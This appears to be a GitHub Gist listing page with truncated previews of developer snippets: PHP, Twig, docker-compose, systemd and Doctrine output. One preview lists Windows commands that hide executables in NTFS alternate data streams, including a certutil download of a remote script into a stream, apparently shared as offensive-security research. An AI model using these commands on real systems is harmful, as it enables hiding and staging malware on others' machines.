Skip to content

Instantly share code, notes, and snippets.

<?php // works on single-file non-ZIp64 zip files compressed with deflate (AKA a common case), licensed MIT
function getLinesFromZippedCSVfromURL(string $url) : \Generator
{
$stream = fopen($url, 'rb');
fread($stream, 4 + 2 + 2 + 2 + 2 + 2 + 4); // skip up to compressed size
// bindec() was doing weird things, hence converting through hex first
// sttrev() to match endian-ness to expectations; zip file values are little-endian
@theseer
theseer / confused.md
Created March 24, 2019 16:36
What happend to the `If-Modified-Since` header?

If-Modified-Since, PHP CLI Server and Firefox

Explanation

When sending the cache control header Cache-Control: no-cache, must-revalidate along with a Last-Modified timestamp, the browser is required to send along an If-Modified-Since header for the next request to the same URL.

The server then is entitled to return HTTP/1.1 304 Not modified in case the content didn't change and the stored copy may still be used.

Sample Code

{% form_theme form _self %}
{# modified bootstrap_4 scheme to display checkbox label begins #}
{% block checkbox_radio_label -%}
<label{% for attrname, attrvalue in label_attr %} {{ attrname }}="{{ attrvalue }}"{% endfor %}>
{{- label is not same as(false) ? (translation_domain is same as(false) ? label : label|trans({}, translation_domain)) -}}
{{- form_errors(form) -}}
</label>
{%- if widget is defined -%}
{% set is_parent_custom = parent_label_class is defined and ('checkbox-custom' in parent_label_class or 'radio-custom' in parent_label_class) %}
@Basster
Basster / Collection.php
Last active November 8, 2018 13:07
Generate Collection and CollectionIterator for a PHP class. Inspired by https://github.com/sebastianbergmann/shaku
<?php declare(strict_types=1);
#parse("PHP File Header.php")
namespace ${NAMESPACE};
final class ${CLASS}Collection implements \Countable, \IteratorAggregate
{
/**
* @var ${CLASS}[]
*/
@ThePeterMick
ThePeterMick / register.html.twig
Last active April 18, 2019 12:28
Display label and checkbox separately for bootstrap 4 in Twig for Symfony 4
{% form_theme form _self %}
{% block checkbox_widget -%}
{%- set parent_label_class = parent_label_class|default(label_attr.class|default('')) -%}
{%- if 'checkbox-custom' in parent_label_class -%}
{%- set attr = attr|merge({class: (attr.class|default('') ~ ' custom-control-input')|trim}) -%}
<div class="custom-control custom-checkbox{{ 'checkbox-inline' in parent_label_class ? ' custom-control-inline' }}">
{{ block('checkbox_widget_base') }}
</div>
{%- else -%}
@mnapoli
mnapoli / .zshrc
Last active August 24, 2018 16:52
Docker Compose shortcut
# Docker-Compose shortcut:
# - before: docker-compose exec app <command>
# - after: d <command>
# The alias will auto-start the service if it is stopped.
# Requirements:
# - jq: https://stedolan.github.io/jq/
# - yq: https://github.com/kislyuk/yq
# Add this to your `~/.zshrc` at the end because `d` is an existing (unrelated) alias we want to override
@Ocramius
Ocramius / BC-BREAKS.txt
Created August 20, 2018 18:25
doctrine/dbal 2.7.2 -> 2.8.0 Backwards Compatibility (BC) breaks
[BC] CHANGED: Type documentation for property Doctrine\DBAL\Connection#$_conn changed from \Doctrine\DBAL\Driver\Connection to \Doctrine\DBAL\Driver\Connection|null
[BC] CHANGED: Type documentation for property Doctrine\DBAL\Connections\MasterSlaveConnection#$connections changed from \Doctrine\DBAL\Driver\Connection[] to \Doctrine\DBAL\Driver\Connection[]|null[]
[BC] CHANGED: Type documentation for property Doctrine\DBAL\Connection#$_conn changed from \Doctrine\DBAL\Driver\Connection to \Doctrine\DBAL\Driver\Connection|null
[BC] CHANGED: Type documentation for property Doctrine\DBAL\Connection#$_conn changed from \Doctrine\DBAL\Driver\Connection to \Doctrine\DBAL\Driver\Connection|null
[BC] SKIPPED: Provided node "Symfony\Component\Console\Command\Command" is not class, but "interface"
[BC] SKIPPED: Provided node "Symfony\Component\Console\Command\Command" is not class, but "interface"
[BC] SKIPPED: Provided node "Symfony\Component\Console\Command\Command" is not class, but "interface"
[BC] SKIPPED: Provided
@ubergesundheit
ubergesundheit / readme.md
Last active November 14, 2024 20:56
systemd traefik.service

systemd Service Unit for Traefik

Adapted from caddy systemd Service Unit

The provided file should work with systemd version 219 or later. It might work with earlier versions. The easiest way to check your systemd version is to run systemctl --version.

Instructions

We will assume the following:

@api0cradle
api0cradle / Exe_ADS_Methods.md
Last active October 19, 2024 21:39
Execute from Alternate Streams

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab

@taviso
taviso / DefText.c
Created November 8, 2017 17:16
NtUserDefSetText() in Windows 10 will panic if you set the ansi flag incorrectly.
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma comment(lib, "user32")
#pragma comment(lib, "gdi32")
typedef struct _LARGE_STRING {
ULONG Length;
ULONG MaximumLength:31;